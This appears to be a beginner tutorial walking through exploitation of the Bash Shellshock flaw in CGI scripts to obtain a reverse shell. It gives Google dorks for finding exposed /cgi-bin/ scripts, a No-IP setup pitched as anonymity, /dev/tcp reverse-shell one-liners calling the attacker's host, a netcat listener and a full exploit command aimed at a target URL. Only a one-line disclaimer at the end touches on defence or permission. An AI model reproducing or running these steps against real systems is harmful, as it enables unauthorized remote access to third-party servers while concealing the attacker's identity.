Shellshock Vulnerability Exploit Guide for Beginners

Today, we’ll walk through how attackers exploit the Bash Shellshock vulnerability to gain a reverse shell, while also explaining how professionals protect themselves and hide their IP during penetration testing 🛡️.

What Is the Shellshock Vulnerability? 🤔​

Shellshock is a critical vulnerability found in Bash, the popular Unix shell used by many Linux systems.
It allows attackers to execute arbitrary commands remotely when Bash improperly handles environment variables.
This flaw became widely abused because many servers exposed Bash through CGI scripts.

Who Is Vulnerable to Shellshock? 🎯​

A system may be vulnerable if:

• It uses CGI scripts written in Bash
• Bash variables are exposed through web services
• A service is listening on a port and internally calls Bash
• The CGI files are accessible via /cgi-bin/

Any misconfigured server using Bash in this way can be exploited remotely.

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Tools and Requirements 🧰​

Before testing, make sure you have the following:

• A Shellshock-vulnerable target
• Router or USB modem with port forwarding
• Shellshock exploit script from Exploit-DB
• Netcat (nc)
• PHP
• A Linux-based system

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Finding Vulnerable Targets Using Google Dorks 🔍​

Search engines can help identify exposed CGI scripts.
Most Bash CGI scripts use .sh or .cgi extensions.

Useful Google Dorks:​

inurl:/cgi-bin/ ext:sh
inurl:/cgi-bin/ ext:cgi

These queries often reveal misconfigured servers that may be vulnerable.

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Setting Up Port Forwarding 🔁​

To receive a reverse shell, your system must accept incoming connections.

• Log in to your router or USB modem
• Forward port 5555 to your local LAN IP
• Save and apply settings

⚠️ Without proper port forwarding, the reverse shell will fail.

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Using a No-IP Domain for Anonymity 🌐 (Optional)​

This step adds a layer of anonymity during penetration testing.

Steps:​

1. Create a free account on No-IP
2. Go to Manage Hosts
3. Add a free domain linked to your public IP

After about one minute, you can test it:

ping yourdomain.ddns.net

If it resolves correctly, you’re good to go.

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Linux Native Reverse Shell Using /dev/tcp 🐧​

Most Linux systems support /dev/tcp, making it perfect for reverse shells.

Example Reverse Shell Command:​

/bin/bash -i >& /dev/tcp/yourdomain.ddns.net/5555 0>&1

Or using a direct IP:

/bin/bash -i >& /dev/tcp/YOUR_PUBLIC_IP/5555 0>&1

Make sure port 5555 is forwarded correctly.

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Verifying the Target Is Vulnerable ✅​

1. Open your terminal or CMD
2. Navigate to the exploit directory
3. Run the exploit script: php bash_mod_cgi_script.php

You’ll be asked for:

• Target URL
• Command to execute

Try basic commands like:

whoami
ls

If the server accepts commands but doesn’t return output, it’s likely vulnerable.

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Setting Up a Netcat Reverse Shell Listener 📡​

Now let’s prepare your system to catch the shell.

Start Netcat Listener:​

nc -lp 5555 -vv

Explanation:

• -l → listen mode
• -p → custom port
• -vv → verbose output

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Launching the Shellshock Exploit 🚀​

Finally, trigger the exploit with a reverse shell payload:

php bash_mod_cgi_script.php -u http://targetdomain.com/cgi-bin/vuln.sh -c "/bin/bash -i >& /dev/tcp/yourdomain.ddns.net/5555 0>&1"

If everything is set correctly, you’ll receive a reverse shell in your Netcat listener 🎉

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Final Thoughts 🧠​

Understanding Shellshock exploitation helps security professionals:

• Secure servers properly
• Detect real-world attack patterns
• Improve Bash and CGI hardening

Always practice ethical hacking and test only systems you own or have permission to audit.